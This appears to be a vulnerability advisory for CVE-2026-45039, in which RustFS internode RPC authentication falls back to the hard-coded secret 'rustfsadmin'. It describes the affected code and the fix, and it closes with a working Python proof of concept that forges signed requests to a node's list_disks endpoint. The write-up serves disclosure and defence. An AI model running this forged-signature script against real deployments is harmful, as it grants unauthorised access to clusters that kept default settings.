CVE-2026-45039

An attacker who can reach the RPC port of any node in a RustFS cluster can forge valid HMAC-SHA256 signatures using the publicly known default secret `"rustfsadmin"` [ref_id=1]. The attacker constructs an HTTP request to any internode RPC endpoint (e.g., `/rustfs/rpc/list_disks`), computes the HMAC over the path, method, and timestamp using the default key, and sends it with the `x-rustfs-signature` and `x-rustfs-timestamp` headers [ref_id=1]. The server's `verify_rpc_signature` function compares the HMAC against `get_shared_secret()`, which returns `"rustfsadmin"` on a stock deployment, so the forged request is accepted as legitimate [ref_id=1]. No authentication, network position, or prior access is required beyond network reachability to the RPC port [CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H].

The vulnerability resides in `crates/ecstore/src/rpc/http_auth.rs:33-44` in the `get_shared_secret()` function, which falls back to the hard-coded `DEFAULT_SECRET_KEY = "rustfsadmin"` when neither the `RUSTFS_RPC_SECRET` environment variable nor the global S3 secret key is configured [ref_id=1]. The same fallback chain exists in `crates/credentials/src/credentials.rs:219-226` in `get_rpc_token()` [ref_id=1]. Both the signer (`gen_signature_headers`, line 70) and verifier (`verify_rpc_signature`, line 88) call `get_shared_secret()`, so they agree on the fallback secret [ref_id=1].

The proposed fix removes the fallback to `DEFAULT_SECRET_KEY` from `get_shared_secret()` and instead panics at startup if neither `RUSTFS_RPC_SECRET` nor a non-default `RUSTFS_SECRET_KEY` is configured [ref_id=1]. The same change is applied to `get_rpc_token()` in `crates/credentials/src/credentials.rs` [ref_id=1]. Additionally, the fix refuses to bind non-loopback listeners when default credentials are in use, unless the operator explicitly opts in with `RUSTFS_ALLOW_DEFAULT_CREDENTIALS=1` [ref_id=1]. The advisory notes that the preferred long-term fix is first-run credential generation, persisting a random root credential pair to a config file with mode 0600 [ref_id=1]. The fix is applied in version 1.0.0-beta.2.

Start a two-node cluster from the published binary with `RUSTFS_VOLUMES` pointing at two endpoints (e.g., `http://node1:7000`, `http://node2:7000`) and no other env vars [ref_id=1]. From a third host reachable to `node1:7000`, run the following Python script to sign and submit an internode RPC request using `"rustfsadmin"` as the HMAC key [ref_id=1]:

```python import base64, hmac, hashlib, time, urllib.request

SECRET = b"rustfsadmin" NODE = "http://node1:7000" PATH = "/rustfs/rpc/list_disks" METHOD = "GET"

ts = int(time.time()) msg = f"{PATH}|{METHOD}|{ts}".encode() sig = base64.b64encode(hmac.new(SECRET, msg, hashlib.sha256).digest()).decode()

req = urllib.request.Request(NODE + PATH, method=METHOD, headers={ "x-rustfs-signature": sig, "x-rustfs-timestamp": str(ts), }) print(urllib.request.urlopen(req, timeout=5).read()) ```

The server accepts the signature and processes the RPC call because the verifier compares against `get_shared_secret()`, which equals `"rustfsadmin"` on a stock deployment [ref_id=1].